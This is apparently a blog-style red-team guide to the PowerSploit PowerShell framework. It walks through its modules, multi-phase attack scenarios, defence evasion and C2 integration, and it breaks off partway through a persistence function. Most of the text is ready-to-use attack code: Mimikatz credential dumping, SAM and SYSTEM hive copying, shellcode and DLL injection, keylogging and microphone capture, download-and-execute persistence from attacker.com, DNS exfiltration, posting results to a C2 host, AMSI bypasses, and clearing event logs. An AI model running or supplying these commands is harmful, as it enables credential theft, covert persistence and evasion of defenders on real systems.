[!WARNING] PowerSploit is no longer actively maintained and many of its modules are easily detected by modern EDR and antivirus solutions. It remains a valuable tool for learning and experimentation but may require customization or obfuscation to be usable in real-world red team engagements.
Hello fellow hackers and enthusiasts! In today’s rapidly evolving offensive security landscape, understanding the tools and techniques that shaped our tradecraft is essential for staying ahead of the curve. One framework that continues to hold immense educational value despite its age is PowerSploit—a comprehensive collection of PowerShell modules designed for offensive security operations.
While modern EDR solutions have largely rendered PowerSploit’s out-of-the-box techniques detectable, its modular architecture, clean codebase, and comprehensive coverage of offensive PowerShell concepts make it an invaluable learning resource. Understanding PowerSploit’s capabilities provides the foundation for developing custom tradecraft and adapting to modern defensive environments.
In this comprehensive guide, we’ll explore PowerSploit’s complete module ecosystem, examine real-world attack scenarios, discuss detection evasion techniques, and demonstrate how to integrate these concepts into modern red team operations. Whether you’re a seasoned penetration tester or an aspiring red teamer, this deep dive will enhance your understanding of PowerShell-based offensive operations.
What is PowerSploit?
PowerSploit is an open-source project developed by the PowerShell Mafia, a collective of security researchers and penetration testers. It represents one of the most comprehensive collections of offensive PowerShell modules ever assembled, covering the entire attack lifecycle from initial reconnaissance to post-exploitation persistence.
The framework is organized into logical module categories, each targeting specific phases of the cyber attack lifecycle. This modular approach allows red teamers to selectively import and use only the components needed for their specific objectives, reducing the attack surface and improving operational security.
PowerSploit’s strength lies in its ability to leverage PowerShell’s native capabilities for offensive operations. Since PowerShell is a legitimate administrative tool present on virtually all modern Windows systems, PowerSploit modules can often execute without triggering traditional antivirus signatures. However, modern EDR solutions and AMSI (Antimalware Scan Interface) have significantly reduced this advantage.
The framework’s educational value cannot be overstated. Each module demonstrates specific offensive techniques, from memory manipulation and process injection to Active Directory enumeration and credential harvesting. Understanding these techniques is crucial for both offensive operations and defensive detection development.
Setting up PowerSploit
Before diving into PowerSploit’s capabilities, let’s establish a proper testing environment and installation process. Always ensure you have proper authorization before testing these techniques, even in lab environments.
Prerequisites
PowerSploit requires a Windows environment with PowerShell 2.0 or later. For optimal functionality, PowerShell 5.1 or PowerShell Core 6.0+ is recommended. The framework is designed to work on Windows 7 through Windows 11, though some modules may have specific version requirements.
Installation Methods
Method 1: Git Clone (Recommended)
git clone https://github.com/PowerShellMafia/PowerSploit.git
cd PowerSploit
Method 2: Direct Download
Download the latest release from the GitHub repository and extract to your desired location.
Method 3: PowerShell Gallery (Limited)
Some PowerSploit modules are available through the PowerShell Gallery, though this method provides limited access to the full framework.
Environment Configuration
Before using PowerSploit, configure your PowerShell execution policy to allow script execution:
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
For testing environments, you might need to set the policy to Unrestricted, though this is not recommended for production systems:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
Module Import
PowerSploit modules are organized by category. Import specific modules as needed:
# Import entire category
Import-Module .\Recon\PowerView.ps1
# Import specific module
Import-Module .\Exfiltration\Invoke-Mimikatz.ps1
# Import all modules (not recommended for operational use)
Get-ChildItem -Recurse -Filter "*.ps1" | ForEach-Object { Import-Module $_.FullName }
Verification
Verify successful installation by checking available functions:
Get-Command -Module PowerSploit
PowerSploit Module Categories
PowerSploit is organized into seven main module categories, each targeting specific phases of the attack lifecycle. Understanding these categories helps red teamers select appropriate tools for their objectives while maintaining operational security.
Code Execution Modules
The Code Execution category contains modules designed to execute arbitrary code on target systems. These modules leverage various injection techniques to bypass traditional security controls and execute payloads in memory.
Invoke-Shellcode
This module injects shellcode directly into memory, bypassing traditional file-based detection mechanisms. It supports both local and remote process injection.
# Generate shellcode using msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f powershell
# Execute shellcode in current process
Invoke-Shellcode -Shellcode $shellcode -Force
# Inject into specific process
Invoke-Shellcode -Shellcode $shellcode -ProcessID 1234
Invoke-DllInjection
This module injects DLLs into running processes, useful for loading additional functionality or establishing persistence.
# Inject DLL into specific process
Invoke-DllInjection -ProcessID 1234 -DllPath "C:\path\to\payload.dll"
# Inject using process name
Invoke-DllInjection -ProcessName "explorer" -DllPath "C:\path\to\payload.dll"
Invoke-ReflectivePEInjection
This advanced module reflectively loads PE files (DLLs or EXEs) into memory without writing to disk, significantly reducing detection probability.
# Reflectively load DLL
Invoke-ReflectivePEInjection -PEBytes $dllBytes -ProcName "explorer"
# Load EXE reflectively
Invoke-ReflectivePEInjection -PEBytes $exeBytes -ForceASLR
Invoke-WmiCommand
This module executes PowerShell commands on remote systems using WMI as a command and control channel, useful for lateral movement.
# Execute command on remote system
Invoke-WmiCommand -ComputerName "TARGET-PC" -ScriptBlock { Get-Process }
# Execute with credentials
Invoke-WmiCommand -ComputerName "TARGET-PC" -Credential $cred -ScriptBlock { Get-Service }
Script Modification Modules
These modules help evade detection by modifying scripts and commands to bypass security controls and execution policies.
Out-EncodedCommand
This module compresses and Base64 encodes PowerShell commands for execution via the -EncodedCommand parameter.
# Encode command
$command = 'Get-Process | Where-Object {$_.ProcessName -eq "explorer"}'
$encoded = Out-EncodedCommand -Command $command
# Execute encoded command
powershell.exe -EncodedCommand $encoded
Out-CompressedDll
This module compresses and encodes DLLs for use with reflective loaders, reducing payload size and improving stealth.
# Compress and encode DLL
$compressedDll = Out-CompressedDll -DllPath "C:\path\to\payload.dll"
# Use with reflective loader
Invoke-ReflectivePEInjection -PEBytes $compressedDll
Out-EncryptedScript
This module encrypts PowerShell scripts to evade signature-based detection.
# Encrypt script
$encrypted = Out-EncryptedScript -ScriptPath "C:\path\to\script.ps1" -Password "SecretKey123"
# Execute encrypted script
Invoke-Expression $encrypted
Remove-Comment
This module strips comments and unnecessary whitespace from scripts to reduce file size and potentially evade detection.
# Remove comments from script
Remove-Comment -Path "C:\path\to\script.ps1" -OutFile "C:\path\to\clean_script.ps1"
Persistence Modules
Persistence modules establish long-term access to compromised systems through various mechanisms, ensuring continued access even after system reboots or user logouts.
New-UserPersistenceOption
This module configures user-level persistence mechanisms that don’t require elevated privileges.
# Create startup folder persistence
New-UserPersistenceOption -Command "powershell.exe -Command 'Start-Sleep 30; Invoke-WebRequest -Uri http://attacker.com/payload.ps1 -OutFile $env:TEMP\payload.ps1; & $env:TEMP\payload.ps1'" -Frequency Daily -At "09:00"
# Create registry persistence
New-UserPersistenceOption -Command "powershell.exe -EncodedCommand $encodedCommand" -Frequency OnLogon
New-ElevatedPersistenceOption
This module configures system-level persistence mechanisms that require administrative privileges.
# Create scheduled task persistence
New-ElevatedPersistenceOption -Command "powershell.exe -Command '& {iex (iwr http://attacker.com/payload.ps1)}'" -Frequency Daily -At "02:00"
# Create service persistence
New-ElevatedPersistenceOption -Command "C:\Windows\System32\cmd.exe /c powershell.exe -EncodedCommand $encodedCommand" -Frequency OnStartup
Add-Persistence
This module adds persistence capabilities to existing PowerShell scripts.
# Add persistence to script
Add-Persistence -ScriptPath "C:\path\to\payload.ps1" -PersistenceOption $persistenceOption -OutFile "C:\path\to\persistent_payload.ps1"
Install-SSP
This module installs Security Support Provider (SSP) DLLs for credential harvesting persistence.
# Install SSP for credential harvesting
Install-SSP -DllPath "C:\path\to\mimikatz.dll"
Get-SecurityPackages
This module enumerates loaded security packages to identify potential persistence mechanisms.
# List loaded security packages
Get-SecurityPackages
Antivirus Bypass Modules
These modules help identify and bypass antivirus detection mechanisms.
Find-AVSignature
This module locates single-byte antivirus signatures using techniques similar to DSplit.
# Find AV signatures in file
Find-AVSignature -Path "C:\path\to\payload.exe"
# Find signatures in memory
Find-AVSignature -Bytes $payloadBytes
Exfiltration Modules
Exfiltration modules extract sensitive data from compromised systems, including credentials, files, and system information.
Invoke-TokenManipulation
This module manipulates Windows access tokens for privilege escalation and lateral movement.
# Enumerate available tokens
Invoke-TokenManipulation -Enumerate
# Impersonate specific token
Invoke-TokenManipulation -Impersonate -Username "DOMAIN\Administrator"
# Create process with token
Invoke-TokenManipulation -CreateProcess -Username "DOMAIN\Administrator" -Command "cmd.exe"
Invoke-CredentialInjection
This module creates logons with clear-text credentials without triggering suspicious Event ID 4648.
# Inject credentials
Invoke-CredentialInjection -Credential $credential -ComputerName "TARGET-PC"
Invoke-NinjaCopy
This module copies files from NTFS volumes by reading raw volume data and parsing NTFS structures, bypassing file system restrictions.
# Copy file using NinjaCopy
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\temp\SAM"
# Copy with specific volume
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\temp\SYSTEM" -Volume "\\?\GLOBALROOT\Device\HarddiskVolume1"
Invoke-Mimikatz
This module reflectively loads Mimikatz in memory for credential extraction without writing to disk.
# Load Mimikatz and dump credentials
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords full"'
# Extract Kerberos tickets
Invoke-Mimikatz -Command '"privilege::debug" "kerberos::list"'
# Dump SAM hashes
Invoke-Mimikatz -Command '"privilege::debug" "lsadump::sam"'
Get-Keystrokes
This module logs keystrokes, timestamps, and active window information for surveillance purposes.
# Start keystroke logging
Get-Keystrokes -LogPath "C:\temp\keystrokes.log"
# Log with specific duration
Get-Keystrokes -LogPath "C:\temp\keystrokes.log" -Duration 300
Get-GPPPassword
This module retrieves plaintext passwords from Group Policy Preferences XML files.
# Find GPP passwords
Get-GPPPassword
# Search specific domain
Get-GPPPassword -Server "DC01.domain.local"
Get-GPPAutologon
This module retrieves autologon credentials from Group Policy Preferences.
# Get autologon credentials
Get-GPPAutologon
# Search specific domain
Get-GPPAutologon -Server "DC01.domain.local"
Get-TimedScreenshot
This module takes screenshots at regular intervals for surveillance.
# Take screenshots every 30 seconds
Get-TimedScreenshot -Path "C:\temp\screenshots" -Interval 30
# Take screenshots for specific duration
Get-TimedScreenshot -Path "C:\temp\screenshots" -Interval 60 -Duration 3600
Volume Shadow Copy Operations
PowerSploit includes several modules for working with Volume Shadow Copies:
# Create volume shadow copy
New-VolumeShadowCopy -Volume "C:"
# List volume shadow copies
Get-VolumeShadowCopy
# Mount volume shadow copy
Mount-VolumeShadowCopy -DevicePath "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1"
# Remove volume shadow copy
Remove-VolumeShadowCopy -DevicePath "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1"
Get-VaultCredential
This module displays Windows vault credentials including web credentials.
# Get all vault credentials
Get-VaultCredential
# Get specific credential type
Get-VaultCredential -CredentialType "WebCredential"
Out-Minidump
This module generates full-memory minidumps of processes for analysis.
# Create minidump of process
Out-Minidump -Process "explorer" -DumpFilePath "C:\temp\explorer.dmp"
# Create minidump of all processes
Out-Minidump -DumpFilePath "C:\temp\all_processes.dmp"
Get-MicrophoneAudio
This module records audio from system microphones for surveillance.
# Record audio for 60 seconds
Get-MicrophoneAudio -Duration 60 -OutputPath "C:\temp\audio.wav"
# Record with specific quality
Get-MicrophoneAudio -Duration 120 -OutputPath "C:\temp\audio.wav" -Quality "High"
Mayhem Modules
These modules demonstrate destructive capabilities and should only be used in controlled testing environments.
Set-MasterBootRecord
This module overwrites the master boot record with custom messages (proof of concept).
# Overwrite MBR (DESTRUCTIVE - TESTING ONLY)
Set-MasterBootRecord -Message "System Compromised"
Set-CriticalProcess
This module marks the current process as critical, causing a blue screen when PowerShell exits.
# Set as critical process (DESTRUCTIVE - TESTING ONLY)
Set-CriticalProcess
Privilege Escalation Modules
These modules identify and exploit privilege escalation opportunities on compromised systems.
PowerUp
PowerUp is a comprehensive privilege escalation toolkit that combines multiple techniques into a single module.
# Run all privilege escalation checks
Invoke-AllChecks
# Check for specific privilege escalation vectors
Invoke-AllChecks -Verbose | Where-Object {$_.AbuseFunction}
# Check for unquoted service paths
Get-ServiceUnquoted
# Check for service permissions
Get-ServicePermission
# Check for registry autoruns
Get-RegistryAutorun
# Check for scheduled tasks
Get-ScheduledTaskPermission
Reconnaissance Modules
These modules gather information about the target environment for attack planning and execution.
Invoke-Portscan
This module performs port scanning using native PowerShell sockets.
# Scan single host
Invoke-Portscan -Hosts "192.168.1.10" -Ports "80,443,445,3389"
# Scan network range
Invoke-Portscan -Hosts "192.168.1.0/24" -Ports "445,3389" -Timeout 1000
# Scan with specific options
Invoke-Portscan -Hosts "192.168.1.10" -Ports "1-1000" -Threads 100
Get-HttpStatus
This module checks HTTP status codes for web application enumeration.
# Check common web paths
Get-HttpStatus -Target "http://target.com" -Path "admin,login,wp-admin"
# Use custom wordlist
Get-HttpStatus -Target "http://target.com" -Path (Get-Content "wordlist.txt")
Invoke-ReverseDnsLookup
This module performs reverse DNS lookups on IP ranges.
# Reverse DNS lookup on range
Invoke-ReverseDnsLookup -CIDR "192.168.1.0/24"
# Lookup specific IPs
Invoke-ReverseDnsLookup -IPAddresses "192.168.1.10,192.168.1.20"
PowerView
PowerView is a comprehensive Active Directory enumeration toolkit that provides extensive reconnaissance capabilities.
# Get domain information
Get-NetDomain
# Get domain controllers
Get-NetDomainController
# Get domain users
Get-NetUser -Filter *
# Get domain computers
Get-NetComputer -Filter *
# Get domain groups
Get-NetGroup -Filter *
# Get domain shares
Get-NetShare
# Get domain trusts
Get-NetDomainTrust
# Get domain policies
Get-NetGPO
# Get domain OUs
Get-NetOU
# Get domain sites
Get-NetSite
Real-World Attack Scenarios
Now let’s examine how PowerSploit modules can be combined to create realistic attack scenarios. These examples demonstrate the framework’s versatility and show how different modules work together to achieve specific objectives.
Scenario 1: Active Directory Enumeration and Lateral Movement
This scenario demonstrates a comprehensive Active Directory reconnaissance and lateral movement operation using PowerView and related modules.
Phase 1: Initial Reconnaissance
# Import PowerView
Import-Module .\Recon\PowerView.ps1
# Get domain information
$domain = Get-NetDomain
Write-Host "Domain: $($domain.Name)"
Write-Host "Domain SID: $($domain.DomainSID)"
# Enumerate domain controllers
$dcs = Get-NetDomainController
Write-Host "Domain Controllers:"
$dcs | ForEach-Object { Write-Host " - $($_.Name) ($($_.IPAddress))" }
# Get domain users with specific attributes
$users = Get-NetUser -Filter * | Select-Object samaccountname, displayname, description, lastlogon, pwdlastset, logoncount
$users | Export-Csv -Path "domain_users.csv" -NoTypeInformation
# Get domain computers
$computers = Get-NetComputer -Filter * | Select-Object name, operatingsystem, operatingsystemversion, lastlogon
$computers | Export-Csv -Path "domain_computers.csv" -NoTypeInformation
# Get domain groups and members
$groups = Get-NetGroup -Filter * | Select-Object name, description, memberof
$groups | Export-Csv -Path "domain_groups.csv" -NoTypeInformation
Phase 2: Privilege Escalation Opportunities
# Check for unquoted service paths
$unquotedServices = Get-ServiceUnquoted
if ($unquotedServices) {
Write-Host "Unquoted Service Paths Found:"
$unquotedServices | ForEach-Object {
Write-Host " Service: $($_.ServiceName)"
Write-Host " Path: $($_.ServicePath)"
Write-Host " Abuse Function: $($_.AbuseFunction)"
}
}
# Check for service permissions
$servicePermissions = Get-ServicePermission
$vulnerableServices = $servicePermissions | Where-Object {$_.AbuseFunction}
if ($vulnerableServices) {
Write-Host "Vulnerable Services Found:"
$vulnerableServices | ForEach-Object {
Write-Host " Service: $($_.ServiceName)"
Write-Host " Permission: $($_.Permission)"
Write-Host " Abuse Function: $($_.AbuseFunction)"
}
}
# Check for registry autoruns
$autoruns = Get-RegistryAutorun
$vulnerableAutoruns = $autoruns | Where-Object {$_.AbuseFunction}
if ($vulnerableAutoruns) {
Write-Host "Vulnerable Autoruns Found:"
$vulnerableAutoruns | ForEach-Object {
Write-Host " Name: $($_.Name)"
Write-Host " Path: $($_.Path)"
Write-Host " Abuse Function: $($_.AbuseFunction)"
}
}
Phase 3: Lateral Movement
# Find computers with specific users logged on
$loggedOnUsers = Get-NetLoggedon -ComputerName $computers.name
$adminSessions = $loggedOnUsers | Where-Object {$_.wkui1_username -like "*admin*"}
# Use WMI for lateral movement
foreach ($computer in $adminSessions.ComputerName) {
try {
Write-Host "Attempting lateral movement to $computer"
Invoke-WmiCommand -ComputerName $computer -ScriptBlock {
# Execute reconnaissance on target
Get-Process | Where-Object {$_.ProcessName -eq "explorer"}
Get-Service | Where-Object {$_.Status -eq "Running"}
}
}
catch {
Write-Host "Failed to connect to $computer : $($_.Exception.Message)"
}
}
Scenario 2: Credential Harvesting and Persistence
This scenario demonstrates comprehensive credential harvesting and persistence establishment.
Phase 1: Credential Extraction
# Import required modules
Import-Module .\Exfiltration\Invoke-Mimikatz.ps1
# Dump credentials from memory
Write-Host "Dumping credentials from memory..."
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords full"'
# Dump SAM hashes
Write-Host "Dumping SAM hashes..."
Invoke-Mimikatz -Command '"privilege::debug" "lsadump::sam"'
# Dump LSA secrets
Write-Host "Dumping LSA secrets..."
Invoke-Mimikatz -Command '"privilege::debug" "lsadump::secrets"'
# Extract Kerberos tickets
Write-Host "Extracting Kerberos tickets..."
Invoke-Mimikatz -Command '"privilege::debug" "kerberos::list"'
# Get GPP passwords
Write-Host "Searching for GPP passwords..."
Get-GPPPassword
# Get vault credentials
Write-Host "Extracting vault credentials..."
Get-VaultCredential
Phase 2: Token Manipulation
# Import token manipulation module
Import-Module .\Exfiltration\Invoke-TokenManipulation.ps1
# Enumerate available tokens
Write-Host "Enumerating available tokens..."
$tokens = Invoke-TokenManipulation -Enumerate
$tokens | Format-Table -AutoSize
# Find high-privilege tokens
$adminTokens = $tokens | Where-Object {$_.Username -like "*admin*" -or $_.Groups -like "*Administrators*"}
foreach ($token in $adminTokens) {
Write-Host "Attempting to impersonate token for: $($token.Username)"
try {
Invoke-TokenManipulation -Impersonate -Username $token.Username
Write-Host "Successfully impersonated $($token.Username)"
# Execute commands with elevated privileges
Invoke-Command -ScriptBlock {
Write-Host "Running as: $env:USERNAME"
whoami /groups
}
}
catch {
Write-Host "Failed to impersonate $($token.Username) : $($_.Exception.Message)"
}
}
Phase 3: Persistence Establishment
# Import persistence modules
Import-Module .\Persistence\New-UserPersistenceOption.ps1
Import-Module .\Persistence\New-ElevatedPersistenceOption.ps1
# Create encoded payload
$payload = 'powershell.exe -Command "Start-Sleep 30; Invoke-WebRequest -Uri http://attacker.com/payload.ps1 -OutFile $env:TEMP\payload.ps1; & $env:TEMP\payload.ps1"'
$encodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
# User-level persistence
Write-Host "Establishing user-level persistence..."
$userPersistence = New-UserPersistenceOption -Command "powershell.exe -EncodedCommand $encodedPayload" -Frequency Daily -At "09:00"
# Elevated persistence (if admin privileges available)
if (([Security.Principal.WindowsIdentity]::GetCurrent()).Groups -contains "S-1-5-32-544") {
Write-Host "Establishing elevated persistence..."
$elevatedPersistence = New-ElevatedPersistenceOption -Command "powershell.exe -EncodedCommand $encodedPayload" -Frequency OnStartup
}
# Create scheduled task persistence
Write-Host "Creating scheduled task persistence..."
$taskName = "WindowsUpdateService"
$taskCommand = "powershell.exe -EncodedCommand $encodedPayload"
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-EncodedCommand $encodedPayload"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Principal $principal -Description "Windows Update Service"
Scenario 3: Advanced Evasion and Stealth Operations
This scenario demonstrates advanced evasion techniques and stealth operations using PowerSploit modules.
Phase 1: AMSI Bypass and Script Obfuscation
# Import script modification modules
Import-Module .\ScriptModification\Out-EncodedCommand.ps1
Import-Module .\ScriptModification\Out-EncryptedScript.ps1
# Create obfuscated payload
$originalScript = @'
# Your malicious payload here
$webClient = New-Object System.Net.WebClient
$payload = $webClient.DownloadString("http://attacker.com/payload.ps1")
Invoke-Expression $payload
'@
# Method 1: Encoded command
$encodedScript = Out-EncodedCommand -Command $originalScript
Write-Host "Encoded script length: $($encodedScript.Length)"
# Method 2: Encrypted script
$encryptedScript = Out-EncryptedScript -ScriptText $originalScript -Password "SecretKey123"
Write-Host "Encrypted script created"
# Method 3: Compressed and encoded
$compressedScript = Out-CompressedDll -DllPath "C:\path\to\payload.dll"
Write-Host "Compressed script created"
Phase 2: Memory-Only Operations
# Import memory manipulation modules
Import-Module .\CodeExecution\Invoke-ReflectivePEInjection.ps1
# Load payload into memory without touching disk
$payloadBytes = [System.IO.File]::ReadAllBytes("C:\path\to\payload.dll")
Invoke-ReflectivePEInjection -PEBytes $payloadBytes -ProcName "explorer"
# Execute shellcode in memory
$shellcode = [System.Convert]::FromBase64String("YOUR_BASE64_SHELLCODE")
Invoke-Shellcode -Shellcode $shellcode -Force
Phase 3: Stealthy Data Exfiltration
# Import exfiltration modules
Import-Module .\Exfiltration\Out-DnsTxt.ps1
# Exfiltrate data via DNS
$sensitiveData = Get-Content "C:\sensitive\data.txt" -Raw
$chunks = [System.Text.Encoding]::UTF8.GetBytes($sensitiveData) | ForEach-Object { [System.Convert]::ToBase64String([byte[]]@($_)) }
foreach ($chunk in $chunks) {
Out-DnsTxt -Data $chunk -DnsServer "attacker.com"
Start-Sleep -Seconds 2 # Avoid rate limiting
}
# Use NinjaCopy for stealthy file access
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\temp\SAM"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\temp\SYSTEM"
Detection Evasion Techniques
Modern EDR solutions have significantly reduced the effectiveness of PowerSploit’s out-of-the-box techniques. Understanding detection mechanisms and evasion techniques is crucial for successful operations.
AMSI Bypass Techniques
AMSI (Antimalware Scan Interface) is a significant obstacle for PowerShell-based attacks. Several techniques can be employed to bypass AMSI detection.
Method 1: AMSI Context Bypass
# Bypass AMSI by manipulating the context
$amsiContext = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$amsiContext.GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
Method 2: Reflection-Based Bypass
# Use reflection to disable AMSI
$type = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $type.GetField('amsiInitFailed', 'NonPublic,Static')
$field.SetValue($null, $true)
Method 3: Memory Patching
# Patch AMSI functions in memory
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$field.SetValue($null, [IntPtr]::Zero)
Execution Policy Bypass
PowerShell execution policies can be bypassed using various techniques.
Method 1: Bypass Execution Policy
# Bypass execution policy for single command
powershell.exe -ExecutionPolicy Bypass -Command "Get-Process"
# Bypass with encoded command
powershell.exe -ExecutionPolicy Bypass -EncodedCommand $encodedCommand
Method 2: Registry Modification
# Modify execution policy in registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "ExecutionPolicy" -Value "Unrestricted"
Process Injection Evasion
Process injection techniques can be modified to evade detection.
Method 1: Legitimate Process Injection
# Inject into legitimate processes
$legitimateProcesses = @("explorer", "svchost", "winlogon")
$targetProcess = $legitimateProcesses | Get-Random
Invoke-DllInjection -ProcessName $targetProcess -DllPath "C:\path\to\payload.dll"
Method 2: Thread Hijacking
# Use thread hijacking instead of process injection
# This requires custom implementation as PowerSploit doesn't include this technique
Logging Evasion
Minimizing logging and audit trail generation is crucial for stealth operations.
Method 1: Disable PowerShell Logging
# Disable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "EnableLogging" -Value 0
Method 2: Clear Event Logs
# Clear security event logs
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
Integration with Modern Red Team Tools
PowerSploit modules can be integrated with modern command and control frameworks to enhance their capabilities and maintain operational security.
Empire Integration
Empire is a post-exploitation framework that can leverage PowerSploit modules.
# Empire stager that loads PowerSploit modules
$empireStager = @'
# Empire stager code here
$stager = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("EMPIRE_STAGER_BASE64"))
Invoke-Expression $stager
'@
# Load PowerSploit modules through Empire
Invoke-Expression $empireStager
Cobalt Strike Integration
Cobalt Strike can execute PowerSploit modules through its PowerShell execution capabilities.
# Cobalt Strike PowerShell session
# Load PowerSploit modules
Import-Module .\Recon\PowerView.ps1
Import-Module .\Exfiltration\Invoke-Mimikatz.ps1
# Execute reconnaissance
Get-NetUser -Filter * | Select-Object samaccountname, displayname, lastlogon
Custom C2 Framework Integration
PowerSploit modules can be integrated into custom command and control frameworks.
# Custom C2 integration example
function Invoke-PowerSploitModule {
param(
[string]$ModuleName,
[hashtable]$Parameters
)
# Load module
Import-Module ".\$ModuleName.ps1"
# Execute with parameters
$result = & $ModuleName @Parameters
# Send results to C2
$encodedResult = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($result))
Invoke-WebRequest -Uri "http://c2-server.com/result" -Method POST -Body $encodedResult
}
Security Considerations and Best Practices
While PowerSploit is a powerful offensive tool, understanding its limitations and implementing proper security practices is essential.
Operational Security
Minimize Attack Surface
# Only import required modules
Import-Module .\Recon\PowerView.ps1 # Only for reconnaissance
# Avoid importing entire framework
Use Stealth Techniques
# Use legitimate process names
$legitimateProcesses = @("explorer", "svchost", "winlogon")
$targetProcess = $legitimateProcesses | Get-Random
# Use legitimate file names
$legitimateNames = @("update.exe", "service.exe", "helper.exe")
$payloadName = $legitimateNames | Get-Random
Implement Proper Cleanup
# Cleanup function
function Remove-PowerSploitArtifacts {
# Remove temporary files
Remove-Item -Path "$env:TEMP\*.ps1" -Force -ErrorAction SilentlyContinue
# Clear PowerShell history
Remove-Item -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force -ErrorAction SilentlyContinue
# Clear event logs
wevtutil cl Security /q
wevtutil cl System /q
wevtutil cl Application /q
}
Detection Avoidance
Monitor for Detection Triggers
# Check for monitoring tools
$monitoringTools = @("Sysmon", "Process Monitor", "Wireshark")
$runningTools = Get-Process | Where-Object {$_.ProcessName -in $monitoringTools}
if ($runningTools) {
Write-Host "Monitoring tools detected: $($runningTools.ProcessName -join ', ')"
# Implement additional stealth measures
}
Use Timing Evasion
# Implement random delays
function Start-RandomDelay {
$delay = Get-Random -Minimum 5 -Maximum 30
Start-Sleep -Seconds $delay
}
# Use in operations
Start-RandomDelay
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords full"'
Start-RandomDelay
Troubleshooting Common Issues
PowerSploit modules may encounter various issues in different environments. Understanding common problems and their solutions is essential for successful operations.
Execution Policy Issues
Problem: PowerShell execution policy prevents script execution.
Solution:
# Check current execution policy
Get-ExecutionPolicy
# Bypass for current session
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Use bypass parameter
powershell.exe -ExecutionPolicy Bypass -File "script.ps1"
Module Import Issues
Problem: Modules fail to import or functions are not available.
Solution:
# Check if module is loaded
Get-Module -Name PowerSploit
# Import with verbose output
Import-Module .\Recon\PowerView.ps1 -Verbose
# Check available functions
Get-Command -Module PowerSploit
Permission Issues
Problem: Insufficient privileges for certain operations.
Solution:
# Check current privileges
whoami /groups
# Request elevation
Start-Process powershell.exe -Verb RunAs
# Use token manipulation for privilege escalation
Invoke-TokenManipulation -Enumerate
Network Connectivity Issues
Problem: Network-based operations fail due to connectivity issues.
Solution:
# Test network connectivity
Test-NetConnection -ComputerName "target.com" -Port 445
# Use alternative network paths
$alternativePaths = @("\\server1\share", "\\server2\share")
foreach ($path in $alternativePaths) {
if (Test-Path $path) {
Write-Host "Available path: $path"
break
}
}
Advanced PowerSploit Techniques
Beyond the basic module usage, PowerSploit offers advanced techniques that combine multiple modules and leverage sophisticated evasion methods. These techniques require deeper understanding of Windows internals and PowerShell capabilities.
Advanced Memory Manipulation
PowerSploit’s memory manipulation capabilities extend beyond simple process injection. Advanced techniques involve complex memory operations that can evade sophisticated detection mechanisms.
Memory Patching and Hook Installation
# Advanced memory patching technique
function Invoke-MemoryPatch {
param(
[string]$ProcessName,
[byte[]]$OriginalBytes,
[byte[]]$PatchBytes,
[int]$Offset
)
$process = Get-Process -Name $ProcessName
$handle = [System.Diagnostics.Process]::OpenProcess(0x1F0FFF, $false, $process.Id)
# Allocate memory for patch
$patchAddress = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PatchBytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($PatchBytes, 0, $patchAddress, $PatchBytes.Length)
# Write patch to process memory
$bytesWritten = 0
[System.Runtime.InteropServices.Marshal]::WriteProcessMemory($handle, $process.MainModule.BaseAddress + $Offset, $patchAddress, $PatchBytes.Length, [ref]$bytesWritten)
# Cleanup
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($patchAddress)
$handle.Close()
}
Advanced Shellcode Injection
# Advanced shellcode injection with encryption
function Invoke-EncryptedShellcodeInjection {
param(
[byte[]]$EncryptedShellcode,
[string]$DecryptionKey,
[string]$ProcessName = "explorer"
)
# Decrypt shellcode
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = [System.Text.Encoding]::UTF8.GetBytes($DecryptionKey.PadRight(32, '0'))
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$decryptor = $aes.CreateDecryptor()
$decryptedShellcode = $decryptor.TransformFinalBlock($EncryptedShellcode, 0, $EncryptedShellcode.Length)
# Inject decrypted shellcode
Invoke-Shellcode -Shellcode $decryptedShellcode -ProcessName $ProcessName
}
Advanced Persistence Mechanisms
Beyond basic persistence, PowerSploit can establish sophisticated persistence mechanisms that are difficult to detect and remove.
Registry-Based Persistence with Encryption
# Advanced registry persistence with encryption
function New-EncryptedRegistryPersistence {
param(
[string]$Payload,
[string]$RegistryKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
